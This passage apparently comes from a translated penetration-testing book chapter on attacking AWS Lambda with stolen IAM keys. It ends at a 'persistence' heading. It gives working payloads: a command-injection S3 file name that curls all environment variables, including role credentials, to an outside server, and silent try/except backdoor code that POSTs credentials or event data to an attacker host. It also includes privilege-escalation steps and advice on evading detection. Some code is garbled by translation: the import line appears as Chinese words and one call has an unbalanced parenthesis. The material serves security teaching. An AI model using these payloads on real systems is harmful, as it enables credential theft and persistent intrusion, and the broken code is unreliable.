要开始本章的只读访问部分,我们将创建一个具有特定权限集的新 IAM 用户。这是我们将用来演示攻击的用户,因此我们可以假设我们以某种方式刚刚窃取了这个用户的密钥。这些权限将允许对 AWS Lambda 进行只读访问,并允许向 S3 上传对象,但不会超出此范围。我们不会详细介绍创建用户、设置其权限并将其密钥添加到 AWS CLI 的整个过程,因为我们在之前的章节中已经涵盖了这些内容。

因此,请继续创建一个具有对 AWS 的编程访问权限的新 IAM 用户。对于这个演示,我们将命名该用户为LambdaReadOnlyTester。接下来,我们将添加一个自定义的内联 IAM 策略,使用以下 JSON 文档:

{
    "Version": "2012-10-17",
     "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "lambda:List*",
                "lambda:Get*",
                "s3:PutObject"
            ],
            "Resource": "*"
        }
    ]
}

正如你所看到的,我们可以使用任何以ListGet开头的 Lambda API,以及使用 S3 的PutObject API。这就像我在许多 AWS 环境中看到的情况,用户对各种资源具有广泛的读取权限,然后还有一些额外的 S3 权限,比如上传文件的能力。

在作为攻击者查看 AWS Lambda 时,首先要做的是获取账户中每个 Lambda 函数的所有相关数据。这可以通过 Lambda 的ListFunctions API 来完成。对于这个演示,我们已经知道我们想要攻击的函数在us-west-2,但在实际情况下,你可能想要检查每个区域是否有可能感兴趣的 Lambda 函数。我们将首先运行以下 AWS CLI 命令:

aws lambda list-functions --profile LambdaReadOnlyTester --region us-west-2

我们应该得到一些有用的信息。首先要查找的是环境变量。我们自己设置了这个有漏洞的函数,所以环境变量对我们来说并不是什么秘密,但作为攻击者,你经常可以发现存储在函数的环境变量中的敏感信息。这些信息在我们刚刚进行的ListFunctions调用中以"Environment"键的形式返回给我们,对于我们的有漏洞的函数,它应该看起来像这样:

"Environment": {
    "Variables": {
        "app_secret": "1234567890"
    }
}

你可以指望在 Lambda 函数的环境变量中发现各种意想不到的东西。作为攻击者,"app_secret"的值听起来很有趣。在过去的渗透测试中,我在环境变量中发现了各种秘密,包括用户名/密码/第三方服务的 API 密钥,AWS API 密钥到完全不同的账户,以及更多。仅仅查看几个 Lambda 函数的环境变量就让我多次提升了自己的权限,因此重要的是要注意存储的内容。我们自己设置了这个有漏洞的函数,所以我们知道"app_secret"环境变量对我们来说没有什么用,但它被包含在其中是为了演示这个想法。

在运行 Lambda ListFunctions API 调用时,如果函数设置了环境变量,"Environment"键将只包括在结果中;否则,它不会显示在结果中,所以如果那里没有任何内容可用,不要担心。

在检查环境变量之后,现在是查看每个 Lambda 函数的代码的好时机。要从 AWS CLI 中执行此操作,我们可以使用从ListFunctions获得的函数列表,并将每个函数通过 Lambda GetFunction API 调用运行。对于我们的易受攻击函数,我们可以运行以下命令:

aws lambda get-function --function-name VulnerableFunction --profile LambdaReadOnlyTester --region us-west-2

输出将看起来像运行ListFunctions时为每个函数返回的内容,但有一个重要的区别,即添加了Code键。这个键将包括RepositoryTypeLocation键,这是我们将代码下载到这个函数的方式。我们只需要复制 Code | Location 下的 URL 并粘贴到我们的网络浏览器中。提供的 URL 是一个预签名的 URL,它给了我们访问存储 Lambda 代码的 S3 存储桶的权限。访问页面后,它应该会下载一个以VulnerableFunction开头的.zip文件。

如果您解压文件,您会看到一个名为lambda_function.py的单个文件,其中存储了 Lambda 函数的代码。在许多情况下,那里会有多个文件,如第三方库、配置文件或二进制文件。

尽管我们的易受攻击函数相对较短,但我们将以它是大量代码的方式来处理,因为我们不能仅仅手动快速分析来模拟真实情况,因为您可能不熟悉 Lambda 函数使用的编程语言。

将函数解压到我们的计算机上后,我们现在将开始对包含的代码进行静态分析。我们知道这个函数正在运行 Python 3.7,因为当我们运行ListFunctionsGetFunction时,Runtime下列出了 Python 3.7,并且主文件是一个.py文件。代码的静态分析有许多选项,免费和付费的,它们在不同的编程语言之间有所不同,但我们将使用Bandit,它被描述为一个旨在发现 Python 代码中常见安全问题的工具。在继续之前,请注意,仅仅因为我们在这里使用它,并不一定意味着它是最好的和/或完美的。我建议您进行自己的研究,并尝试不同的工具,找到自己喜欢的工具,但 Bandit 是我个人喜欢使用的工具之一。Bandit 托管在 GitHub 上github.com/PyCQA/bandit

Bandit 的安装很简单,因为它是通过 PyPI 提供的,这意味着我们可以使用 Python 包管理器pip来安装它。按照 Bandit GitHub 上的说明,我们将运行以下命令(一定要自行检查,以防有任何更新):

virtualenv bandit-env
pip3 install bandit

我们使用virtualenv,以避免安装 Python 依赖项时出现任何问题,然后我们使用pip3来安装bandit,因为我们要分析的代码是用 Python 3 编写的。在撰写本文时,安装了 Bandit 版本 1.5.1,因此如果在本节的其余部分遇到任何问题,请注意您自己安装的版本。安装完成后,我们可以切换到解压 Lambda 函数的目录,然后使用bandit命令来针对包含我们代码的文件夹。我们可以使用以下命令来执行:

bandit -r ./VulnerableFunction/

现在 Lambda 函数将被扫描,-r标志指定递归,即扫描VulnerableFunction文件夹中的每个文件。我们现在只有一个文件,但了解这个标志对我们正在扫描的更大的 Lambda 函数有什么作用是很有用的。Bandit 完成后,我们将看到它报告了三个单独的问题:一个低严重性和高置信度,一个中等严重性和中等置信度,一个高严重性和高置信度:

Bandit 输出的结果

通常,静态源代码分析工具会输出相当数量的误报,因此重要的是要逐个检查每个问题,以验证它是否是一个真正的问题。静态分析工具也缺乏代码可能如何使用的上下文,因此安全问题可能对某些代码是一个问题,但对其他代码来说并不重要。在审查 Bandit 提出的第二个问题时,我们将更多地关注上下文。

查看 Bandit 报告的第一个问题,我们可以看到消息“考虑与子进程模块相关的可能安全影响”,这是非常有道理的。子进程模块用于在计算机上生成新进程,如果操作不正确可能会造成安全风险。我们将把这标记为一个有效问题,但在审查代码时要牢记这一点。

Bandit 报告的第二个问题告诉我们“可能不安全地使用了临时文件/目录”,并向我们显示了代码的行,其中一个变量被赋予了/tmp目录中文件路径的值,附加了另一个变量object_key。这是一个安全问题,在某些应用程序中可能是一个大问题,但考虑到我们 Lambda 函数的上下文,我们可以假设在这种情况下这不是一个问题。为什么?安全风险的一部分是可能有用户能够控制文件路径。用户可能会插入路径遍历序列或者欺骗脚本将临时文件写入其他位置,比如/etc/shadow,这可能会带来危险的后果。这对我们来说不是一个问题,因为代码在 Lambda 中运行,这意味着它在只读文件系统上运行;所以,即使有人能够遍历出/tmp目录,函数也无法覆盖系统上的任何重要文件。这里可能会出现其他可能的问题,但对我们来说没有直接适用的,所以我们可以把这个问题划掉为误报。

接下来是 Bandit 提出的最后一个最严重的问题,它告诉我们“识别出了使用 shell=True 的子进程调用,存在安全问题”,听起来很有趣。这告诉我们正在生成一个新进程,并且可以访问操作系统的 shell,这可能意味着我们可以注入 shell 命令!看看 Bandit 标记的行(第 30 行),我们甚至可以看到一个 Python 变量(file_download_path)直接连接到正在运行的命令中。这意味着如果我们可以以某种方式控制该值,我们可以修改在操作系统上运行的命令以执行任意代码。

接下来,我们想看看file_download_path在哪里被赋值。我们知道它的赋值出现在 Bandit 的问题#2(第 25 行),代码如下:

file_download_path = f'/tmp/{object_key.split("/")[-1]}'

就像第 30 行的字符串一样,这里使用了 Python 3 的f字符串(有关更多信息,请参见docs.python.org/3/whatsnew/3.6.html#pep-498-formatted-string-literals),它基本上允许您在字符串中嵌入变量和代码,因此您不必进行任何混乱的连接,使用加号或其他任何东西。我们在这里看到的是file_download_path是一个字符串,其中包含代码中的另一个变量object_key,它在其中的每个"/"处被拆分。然后,[-1]表示使用从"/"拆分而成的列表的最后一个元素。

现在,如果我们追溯object_key变量,看看它是在哪里被赋值的,我们可以看到在第 13 行,它被赋值为record['s3']['object']['key']的值。好的,我们可以看到函数期望event变量包含有关 S3 对象的信息(以及第 11 行的 S3 存储桶)。我们想弄清楚是否可以以某种方式控制该变量的值,但考虑到我们作为攻击者的上下文,我们不知道这个函数是否会定期被调用,也不知道如何调用。我们可以检查的第一件事是我们的 Lambda 函数是否有任何事件源映射。可以使用以下命令来完成这个任务:

aws lambda list-event-source-mappings --function-name VulnerableFunction --profile LambdaReadOnlyTester --region us-west-2

在这种情况下,我们应该得到一个空列表,如下所示:

{
    “EventSourceMappings”: []
}

事件源映射基本上是将 Lambda 函数连接到另一个服务的一种方式,以便在该服务中发生其他事情时触发它。事件源映射的一个示例是 DynamoDB,每当 DynamoDB 表中的项目被修改时,它就会触发一个 Lambda 函数,并包含被添加到表中的内容。正如您所看到的,我们当前的函数没有与此相关的内容,但现在不是恐慌的时候!并非每个自动触发源都会显示为事件源映射。

下一步将是查看 Lambda 函数的资源策略,它基本上指定了谁可以调用此函数。要获取资源策略,我们将使用GetPolicy API:

aws lambda get-policy --function-name VulnerableFunction --profile LambdaReadOnlyTester --region us-west-2

如果我们幸运的话,我们将得到一个 JSON 对象作为对此 API 调用的响应,但如果没有,我们可能会收到 API 错误,指示找不到资源。这将表明没有为 Lambda 函数设置资源策略。如果是这种情况,那么我们可能无法以任何方式调用此 Lambda 函数,除非我们碰巧拥有lambda:InvokeFunction权限(但在这种情况下我们没有)。

今天一定是我们的幸运日,因为我们得到了一个策略。它应该看起来像下面这样,只是000000000000将被您自己的 AWS 帐户 ID 替换,修订 ID 将不同:

{
    "Policy": "{\"Version\":\"2012-10-17\",\"Id\":\"default\",\"Statement\":[{\"Sid\":\"000000000000_event_permissions_for_LambdaTriggerOnS3Upload_from_bucket-for-lambda-pentesting_for_Vul\",\"Effect\":\"Allow\",\"Principal\":{\"Service\":\"s3.amazonaws.com\"},\"Action\":\"lambda:InvokeFunction\",\"Resource\":\"arn:aws:lambda:us-west-2:000000000000:function:VulnerableFunction\",\"Condition\":{\"StringEquals\":{\"AWS:SourceAccount\":\"000000000000\"},\"ArnLike\":{\"AWS:SourceArn\":\"arn:aws:s3:::bucket-for-lambda-pentesting\"}}}]}",
    "RevisionId": "d1e76306-4r3a-411c-b8cz-6x4731qa7f00"
}

混乱且难以阅读,对吧?这是因为一个 JSON 对象被存储为一个字符串,作为另一个 JSON 对象中一个键的值。为了使这一点更清晰,我们可以复制"Policy"键内的整个值,删除转义字符(\),并添加一些漂亮的缩进,然后我们将得到这样的结果:

{
    "Version": "2012-10-17",
    "Id": "default",
    "Statement": [
        {
            "Sid": "000000000000_event_permissions_for_LambdaTriggerOnS3Upload_from_bucket-for-lambda-pentesting_for_Vul",
            "Effect": "Allow",
            "Principal": {
                "Service": "s3.amazonaws.com"
            },
            "Action": "lambda:InvokeFunction",
            "Resource": "arn:aws:lambda:us-west-2:000000000000:function:VulnerableFunction",
            "Condition": {
                "StringEquals": {
                    "AWS:SourceAccount": "000000000000"
                },
                "ArnLike": {
                    "AWS:SourceArn": "arn:aws:s3:::bucket-for-lambda-pentesting"
                }
            }
        }
    ]
}

看起来好多了,不是吗?我们正在查看一个 JSON 策略文档,指定了什么可以调用这个 Lambda 函数,我们可以看到"Action"设置为"lambda:InvokeFunction"。接下来,我们可以看到"Principal"设置为 AWS 服务 S3。这听起来正确,因为我们知道该函数正在处理 S3 对象。在"Resource"下,我们看到了 Lambda 函数的 ARN,正如预期的那样。在"Condition"下,我们看到"AWS:SourceAccount"必须是000000000000,这是我们正在使用的账户 ID,所以很好。在"Condition"下还有"ArnLike",显示了一个 S3 存储桶的 ARN。我们没有所需的 S3 权限去确认这些信息,但我们可以合理地假设某种 S3 事件已经设置好,当发生某些事情时会调用这个函数(我们知道这是真的,因为我们之前设置过)。

另一个重要的提示可以在"Sid"键中找到,我们可以看到值为"000000000000_event_permissions_for_LambdaTriggerOnS3Upload_from_bucket-for-lambda-pentesting_for_Vul",这显示了"LambdaTriggerOnS3Upload"。现在我们可以做出一个合理的猜测,即当文件上传到 S3 存储桶"bucket-for-lambda-pentesting"时,将调用这个 Lambda 函数。如果你还记得我们设置这些资源时,"LambdaTriggerOnS3Upload"就是我们之前添加到 S3 存储桶的事件触发器的名称,所以在这种情况下,冗长的命名方案帮助了我们作为攻击者。更好的是,我们知道我们的受损用户被授予了"s3:PutObject"权限!

现在我们已经拼出了这个谜题的所有部分。我们知道 Lambda 函数运行一个带有变量(file_download_path)的 shell 命令,我们知道该变量由另一个变量(object_key)组成,我们知道该变量被设置为值record['s3']['object']['key']。我们还知道,每当文件上传到"bucket-for-lambda-pentesting" S3 存储桶时,就会调用这个 Lambda 函数,而且我们有必要的权限将文件上传到该存储桶。鉴于这一切,这意味着我们可以上传一个我们选择的文件,最终将其传递到一个 shell 命令中,这正是我们想要的,如果我们试图在系统上执行代码!

但是,等等;在运行 Lambda 函数的服务器上执行任意代码有什么好处呢?它是一个只读文件系统,而且我们已经有了源代码。更多的凭证,这就是好处!如果你还记得之前,我们需要创建一个 IAM 角色,附加到我们创建的 Lambda 函数上,然后允许我们的函数与 AWS API 进行身份验证。当 Lambda 函数运行时,它会假定附加到它的 IAM 角色,并获得一组临时凭证(记住,这是访问密钥 ID、秘密访问密钥和会话令牌)。Lambda 函数与 EC2 实例有些不同,这意味着没有http://169.254.169.254上的元数据服务,这意味着我们无法通过那里检索这些临时凭证。Lambda 的做法不同;它将凭证存储在环境变量中,所以一旦我们能在服务器上执行代码,我们就可以窃取这些凭证,然后我们将获得附加到 Lambda 函数的角色的所有权限。

在这种情况下,我们知道 LambdaRoleForVulnerableFunction IAM 角色具有完全的 S3 访问权限,这比我们微不足道的PutObject访问权限要多得多,它还具有一些 CloudWatch 日志权限。我们目前无法访问 CloudWatch 中的日志,所以我们需要将凭证窃取到我们控制的服务器上。否则,我们将无法读取这些值。

现在,让我们开始我们的有效载荷。有时,如果您将整个 Lambda 函数复制到自己的 AWS 帐户中,可能会有所帮助,这样您就可以使用有效载荷对其进行轰炸,直到找到有效的有效载荷,但我们将首先手动尝试。我们知道我们基本上控制object_key变量,最终将其放入 shell 命令中。因此,如果我们传入一个无害的值"hello.zip",我们将看到以下内容:

Line 13: object_key is assigned the value of "hello.zip"

Line 14: object_key is URL decoded by urllib.parse.unquote_plus (Note: the reason this line is in the code is because the file name comes in with special characters URL encoded, so those need to be decoded to work with the S3 object directly)

Line 25: file_download_path is assigned the value of f'/tmp/{object_key.split("/")[-1]}', which ultimately resolves to "/tmp/hello.zip"

Lines 29-30: A shell command is run with the input f'zipinfo {file_download_path} | grep ^- | wc -l', which resolves to "zipinfo /tmp/hello.zip | grep ^- | wc -l".

似乎只有一个限制需要我们担心,那就是代码检查文件是否在第 16 行具有.zip扩展名。有了所有这些信息,我们现在可以开始制作恶意有效载荷。

zipinfo /tmp/hello.zip命令中直接包含了我们提供的字符串,因此我们只需要打破这个命令以运行我们自己的任意命令。如果我们将hello.zip更改为hello;sleep 5;.zip,那么最终命令将变成"zipinfo /tmp/hello;sleep 5;.zip | grep ^- | wc -l"。我们插入了几个分号,这会导致 shell 解释器(bash)认为有多个要执行的命令。不是运行单个命令zipinfo /tmp/hello.zip,而是运行"zipinfo /tmp/hello",这将失败,因为那不是一个存在的文件;然后,它将运行"sleep 5"并休眠五秒,然后它将运行".zip",这不是一个真正的命令,因此将抛出错误。

就像这样,我们已经将一个命令(sleep 5)注入到 Lambda 服务器的 shell 中。现在,因为这是盲目的(也就是说,我们看不到任何命令的输出),我们需要窃取我们想要的重要信息。支持 Lambda 函数的操作系统默认安装了"curl",因此这将是进行外部请求的一种简单方法,我们知道 AWS 凭证存储在环境变量中,因此我们只需要curl凭证到我们控制的服务器。

为此,我在自己的服务器上设置了 NetCat 监听器(示例中的 IP 地址为1.1.1.1),端口为80,命令如下:

nc -nlvp 80

然后,我们将制定一个有效载荷,将窃取凭证。我们可以使用"env"命令访问环境变量,因此用 curl 向我们的外部服务器发出 HTTP POST 请求的一般命令,其中包括所有环境变量作为主体,如下所示:

curl -X POST -d "`env`" 1.1.1.1

这可能看起来有点奇怪,但因为"env"命令提供多行内容,所以需要将其放入引号中,否则它将破坏整个命令(尝试在自己的服务器上运行"curl -X POST -d env 1.1.1.1"并查看结果)。如果您不熟悉,反引号(`)指示 bash 在执行整个curl命令之前运行"env"命令,这样它就会将这些变量POST到我们的外部服务器。此外,因为我们的服务器正在侦听端口80,所以我们不需要在curl命令中包括http://或端口,因为给定一个IP地址,默认情况下转到http://1.1.1.1:80. 这样我们可以避免很多不必要的字符。这可能不一定是一种传统的方法,但这个字符串的好处在于它很容易放入文件名,这正是我们利用这个 Lambda 函数所需要的!

回到我们的有效载荷;现在,我们需要将一个文件上传到 S3,文件名称如下:


hello;curl -X POST -d "`env`" 1.1.1.1;.zip

由于其中有双引号,Microsoft Windows 不允许您创建具有这个名称的文件,但在 Linux 中很容易做到。我们可以使用touch命令来创建文件。它看起来像这样:


touch 'hello;curl -X POST -d "`env`" 1.1.1.1;.zip'

上述命令的输出将如下所示:

在我们自己的 Ubuntu 服务器上创建一个恶意名称的文件

现在一切都准备就绪了。我们只需确保我们的 NetCat 监听器已经在我们的外部服务器上启动,然后将此文件上传到 bucket-for-lambda-pentesting S3 存储桶,然后等待 Lambda 函数被调用,最后等待我们的恶意命令执行。我们可以通过使用 S3 copy AWS CLI 命令将我们的本地恶意文件复制到远程 S3 存储桶来上传它:


aws s3 cp ./'hello;curl -X POST -d "`env`" 1.1.1.1;.zip' s3://bucket-for-lambda-pentesting --profile LambdaReadOnlyTester

因为我们的恶意文件名,它看起来有点乱,但它所做的就是使用 S3 copy 命令作为LambdaReadOnlyTester AWS CLI 配置文件,将我们的本地恶意文件复制到bucket-for-lambda-pentesting S3 存储桶。执行此命令后,我们只需等待并观察我们的 NetCat 监听器,希望能获取一些凭据!几秒钟后,我们将看到以下内容:

来自 Lambda 服务器的所有环境变量都发送到我们的 NetCat 监听器

我们成功了!我们成功地通过一种有时被称为事件注入的方法,在运行 Lambda 函数的服务器上实现了代码执行,然后我们成功地将附加到该 Lambda 函数的角色的凭据外传到我们的外部服务器。现在,您可以将这些凭据用于您的 AWS CLI,并且继续前进并征服!

附加奖励:在撰写本文时,GuardDuty 的UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration 发现类型 (docs.aws.amazon.com/guardduty/latest/ug/guardduty_unauthorized.html#unauthorized11) 不适用于从 Lambda 服务器中获取的凭据!

最后要注意的一点是,我们利用了一种事件注入方法来利用这个 Lambda 函数,但还有很多其他类型。您可以通过各种方法触发 Lambda 函数调用,例如前面提到的 DynamoDB 示例,或者可能是通过 CloudWatch Events 规则。您只需找出如何将自己的输入传递给函数以控制执行。使这一切变得最简单、最快速的方法是使用自定义测试事件(如果您拥有"lambda:InvokeFunction"权限),因为您可以在事件中指定您需要的确切载荷。

在入侵测试 Lambda 函数(带有读取访问权限)时需要记住的其他事项包括以下内容:

  • 检查与每个函数相关联的标签,查看是否包含敏感信息。这种可能性非常小,但并非不可能。

  • 正如我们之前讨论的,考虑将整个函数复制到你自己的 AWS 账户中进行测试,这样你就不需要在目标环境中制造噪音。

  • 如果你有 CloudWatch 日志访问权限,请查看每个 Lambda 函数的执行日志,看看是否打印了任何敏感信息(存储在"/aws/lambda/<function name>"日志组中)。

  • 你可以通过单击 AWS Web 控制台上的"Actions"下拉菜单,然后单击"Export function",选择"Download deployment package",来下载整个 Lambda 函数的.zip文件。然后,将其简单地移植到你自己的账户中。

  • 尝试设计你的负载,使它们按照你的意愿执行而不会中断函数的执行。Lambda 函数执行出错可能会引起一些不必要的注意!

  • 在编写负载时,要注意函数的超时。默认情况下,函数在三秒后超时,所以你需要一些快速、简单的外泄方式。

攻击具有读取和写入权限的 Lambda 函数

现在我们已经讨论了在你只有对 Lambda 的读取权限时攻击 Lambda 函数的方法,接下来我们将继续讨论读取和写入权限。在这种情况下,我们假设你作为攻击者拥有"lambda:*"权限,这基本上意味着你可以读取和写入任何内容,包括编辑现有函数、创建自己的函数、删除函数等。这开启了一个全新的攻击面,特别适合许多不同类型的攻击,尤其是权限提升、数据外泄和持久性。

对于这一部分,我们不会设置一个新的易受攻击函数,而是只使用我们之前设置的一些示例。

权限提升

通过 Lambda 函数进行权限提升相对容易,这取决于你遇到的设置。我们将看两种不同的情景:一种是你拥有"lambda:*"权限和"iam:PassRole"权限,另一种是仅具有"lambda:*"权限。

首先,我们假设除了完全的 Lambda 访问权限外,我们还拥有"iam:PassRole"权限。我们还假设我们可以列出 IAM 角色,但仅此而已(iam:ListRoles)。在这种情况下,我们的目标不一定需要积极使用 Lambda,我们就可以提升我们的权限。因为我们拥有 IAM ListRoles 权限,我们可以运行以下 AWS CLI 命令来查看账户中存在哪些 IAM 角色(确保指定你正在使用的正确配置文件):


aws iam list-roles --profile LambdaReadWriteUser

你应该得到账户中每个角色及其"AssumeRolePolicyDocument"的列表。现在,我们可以通过这个列表筛选出 Lambda 可以承担的任何角色。以下是此响应中一个示例角色的样子(这是我们为我们的易受攻击函数创建的角色):


{
    "Path": "/",
    "RoleName": "LambdaRoleForVulnerableFunction",
    "RoleId": "AROAIWA1V2TCA1TNPM9BL",
    "Arn": "arn:aws:iam::000000000000:role/LambdaRoleForVulnerableFunction",
    "CreateDate": "2018-12-19T21:01:17Z",
    "AssumeRolePolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Effect": "Allow",
                "Principal": {
                    "Service": "lambda.amazonaws.com"
                },
                "Action": "sts:AssumeRole
            }
        ]
    },
    "Description": "Allows Lambda functions to call AWS services on your behalf.",
    "MaxSessionDuration": 3600
}

我们可以看到,在"AssumeRolePolicyDocument"|"Statement" |"Principal"下指定了一个"Service",它的值是"lambda.amazonaws.com"。这意味着 Lambda AWS 服务可以假定此角色并获取临时凭证。对于一个角色被附加到 Lambda 函数中,Lambda 必须能够承担这个角色。

现在,过滤掉角色列表,使得只剩下可以被 Lambda 承担的角色。同样,我们假定除了ListRolesPassRole之外,我们没有任何更多的 IAM 权限,因此我们无法调查这些角色具有什么权限,我们最好的办法是尝试推断它们是用来与哪些服务一起工作的,根据它们的名称和描述。运行 IAM ListRoles时出现的一个角色的名称是"LambdaEC2FullAccess",这清楚地说明了我们可以期待它具有的权限。EC2 是更有成效的服务之一,因此我们将针对我们的演示目标此角色。

在之前的章节中,我们看过 IAM PassRole权限,它允许我们将 IAM 角色“传递”给某个 AWS 资源,以便让它访问该角色的临时凭证。其中一个例子是将一个角色传递给 EC2 实例,这允许 EC2 服务访问该角色;我们甚至在本章早些时候将一个角色传递给我们易受攻击的 Lambda 函数。我们拥有对 Lambda 的完全访问权限和传递角色给 Lambda 函数的能力,这意味着我们基本上可以访问 Lambda 能够访问的任何角色。

这可以通过 AWS CLI 和 Lambda CreateFunction API 来完成,但我们将通过 AWS web 控制台来完成。首先,我们需要创建一个新的 Lambda 函数,给它起个名字(此演示中为"Test"),选择一个运行环境(再次选择python3.7),并在角色下拉菜单中选择"Choose an existing role"。然后,我们将从现有角色下拉菜单中选择"LambdaEC2FullAccess",最后,点击"Create function"

这一次,我们直接访问函数的代码,因此不需要提取或查看此角色的凭据。我们可以使用我们选择的编程语言的 AWS SDK 库,即 Python 的boto3库;它已包含在 Lambda 设置中,因此不需要将其作为函数的依赖项包括进来。现在,唯一剩下的就是决定如何使用我们获得访问权限的角色,根据名称,我们知道它具有"EC2FullAccess"权限,因此我们将导入boto3,创建一个 EC2 客户端,并调用 EC2 的DescribeInstancesAPI。在 Python 中,这只需要几行代码,但我们需要格式化返回的 JSON 响应以便更容易阅读,因此我们还将使用 JSON 库。可以在这里看到:


import json
import boto3

def lambda_handler(event, context):
    ec2 = boto3.client('ec2')
    reservations = ec2.describe_instances())['Reservations']
    print(json.dumps(reservations, indent=2, default=str))

需要注意的是,我们不需要为boto3客户端指定凭据,因为如果我们没有明确传递任何内容,它将自动检查环境变量。这样,它将始终在 Lambda 函数中使用最新的凭据。

要执行该函数,我们需要创建一个测试事件,所以确保你点击橙色的保存按钮,然后直接点击左边的白色测试按钮:

创建我们的测试事件的测试按钮

应该会弹出一个屏幕来设置一个测试事件;我们不关心它如何配置,因为我们实际上并没有使用该事件。它只是通过 Web 控制台运行函数所需的。我们将选择Hello World事件模板(你可以选择任何内容),并将其命名为Test,然后点击屏幕右下角的Create按钮:

为我们的函数创建一个简单的测试事件

现在我们只需再次点击“测试”按钮,它将使用我们刚创建的测试事件来执行我们的函数。我们在us-west-2地区发现了一个单独的 EC2 实例(AWS_REGION环境变量会自动设置为我们 Lambda 函数所在的区域,所以boto3会使用它进行 API 调用)。我们可以在执行结果选项卡中看到这些结果,在函数执行后应该会弹出:

关于 us-west-2 中 EC2 实例的一小部分信息

这次测试成功了,所以很明显我们可以编写任何我们想要的代码,并指示 IAM 角色执行我们想要的操作。也许我们想要启动一堆 EC2 实例,或者我们想要尝试使用这个 EC2 访问权限进行进一步的利用,或者还有许多其他可能性。如果你没有 IAM 的ListRoles权限,你可以查看其他现有的 Lambda 函数来查看它们附加的角色,然后你可以尝试它们来查看你获得了什么样的访问权限。

对于我们的第二个场景,我们假设我们没有 IAM 的PassRole权限,这意味着我们无法创建一个新的 Lambda 函数,因为函数需要传递一个角色。为了利用这种情况,我们需要与现有的 Lambda 函数一起工作。对于这个演示,我们将针对我们在本章前面创建的VulnerableFunction进行目标定位。

在这种情况下,我们需要更加小心,因为我们不是在创建新的 Lambda 函数,而是在修改现有函数。 我们不想干扰环境中正在进行的任何操作,因为首先,作为渗透测试人员,我们尽量要避免这种情况,其次,我们不希望作为攻击者引起比必要更多的注意。 Lambda 函数突然停止工作会引起注意的人们的极大警惕。 我们可以确保这不会发生,方法是确保我们向函数添加的任何代码不会干扰其余的执行,这意味着我们需要捕获并消除我们附加的任何代码引发的任何错误。 另外,由于我们可能不知道函数是否会在其正常执行中早期出错,我们应该尽量将我们的代码放在执行的开始附近,以确保它得到执行。

回到我们之前创建的VulnerableFunction,我们知道附加到它的角色具有 S3 权限,因为函数代码与 S3 交互(而且我们自己设置了角色)。 为了从简单的地方开始,我们只是要列出账户中的 S3 存储桶,以查看我们可以使用哪些。 我们可以通过在VulnerableFunction中添加以下代码来完成此操作,在第 6 行之后(在调用lambda_handler()后,但在运行任何其他代码之前):


try:
    s3 = boto3.client('s3')
    print(s3.list_buckets())
except:
    pass

我们甚至可以像以前一样进一步,导入 JSON 库并格式化输出,但最好尽量对现有函数进行尽可能少的更改。 我们使用try/except块来确保出现的任何错误不会中止函数的执行,并将pass放在 except 块中,我们可以确保错误会被静默地丢弃,然后函数将像往常一样执行。 VulnerableFunction的开头现在应该是这样的:

我们向VulnerableFunction添加了代码后的 VulnerableFunction 开头

这个载荷的唯一问题在于它假定我们可以查看此 Lambda 函数的执行日志,我们可能有或没有权限访问。 我们需要访问 CloudWatch 日志或能够使用测试事件运行函数,以便我们可以在 Web 控制台中查看输出。 现在我们会说我们没有 CloudWatch 访问权限,所以我们将使用测试事件。 下一个问题是,我们可能缺少围绕此 Lambda 函数的整个上下文。 我们不一定知道函数何时被调用是有意义的,函数何时会出错,它被调用的频率如何,如果在其正常触发器之外调用将会产生什么影响,以及许多其他问题。

要解决这个问题,我们可以选择忽略它,并针对函数运行测试事件,而不担心后果(这不是一个好主意,除非你非常确定它不会破坏环境中的任何东西,并且不会吸引防御者的不必要注意),或者我们可以修改我们的有效载荷来外泄凭证,有点像本章的第一节。这可能是最安全的方法,因为我们可以向函数添加我们的恶意有效载荷,在我们的外部服务器上设置监听器,然后只需等待 Lambda 函数被正常调用。为此,我们可以导入subprocess并像以前一样使用curl,但更简单的方法是使用 Python 的requests库。Requests不会自动包含在 Lambda 函数可用的默认库中,但是botocore会,而botocore依赖于requests库,因此我们可以使用一个很酷的技巧来导入和使用requests。我们使用以下import语句而不是import requests


从 botocore.vendored 导入请求

现在,我们可以正常访问requests库了。因此,按照本章早期所做的类似方法,我们只需将所有环境变量发送到我们的外部服务器即可发送 HTTP POST请求。我们还可以在 Lambda 函数内部运行 AWS API 调用并外泄输出,这在技术上会更安全,因为 API 调用将来自预期的相同 IP 地址,而不是我们的外部攻击 IP;但是,拉取环境变量更加灵活,并且随着时间的推移需要对函数进行的修改较少,因此我们选择了这种方式。以下有效载荷将执行此操作(在这里我们假装1.1.1.1是我们外部服务器的 IP):


try:
    import os
    from botocore.vendored import requests
    requests.post('http://1.1.1.1', json=os.environ.copy(), timeout=0.01)
except:
    pass

它使用requests库发送一个 HTTP POST请求,其中包含使用 OS 库获取的环境变量,并且将超时设置为0.01,以便发送请求;代码立即执行,而不是等待任何响应并导致 Lambda 函数本身超时。一旦将此有效载荷添加到目标 Lambda 函数中,我们只需等待函数通过正常手段被调用,最终我们将获得凭证发送到我们的服务器:

接收包含 Lambda 函数所有环境变量的 POST 请求

数据外泄

数据外泄很可能与我们之前提升权限的方式非常相似,即我们很可能编辑现有函数并从中外泄数据。我们可以通过多种不同的方式来实现这一点,其中一些列在这里:

  • 修改现有函数并通过"event""context"参数外泄数据

  • 创建一个新的函数和相关触发器来响应 AWS 环境中的某些事件,例如在第十一章中,使用 Boto3 和 Pacu 来维持 AWS 持久性,我们每次创建新用户时就将凭据外泄

  • 修改现有函数,并将我们的外泄有效负荷放置在函数中间的某个位置,以外泄在函数正常执行期间被收集/修改的数据

这里还有许多其他攻击向量;你只需要有创造力。

如果我们只是想要我们的有效负荷外泄传递到 "event" 参数中的值,我们可以使用前一个有效负荷的略微修改版本:


try:
    from botocore.vendored import requests
    requests.post('http://1.1.1.1', json=event, timeout=0.01)
except:
    pass

确保注意 Lambda 函数的指定超时时间。你不希望你的外泄占用太长时间,以致 Lambda 函数超时并完全失败,因此,当通过 Lambda 外泄大量数据时,最好要么确保超时已经设置为很长的时间,要么自己去修改它以增加超时时间。问题在于,目标的 Lambda 账单会增加,因为它们的函数完成所需时间比正常情况下要长,这将引起注意。

持久性

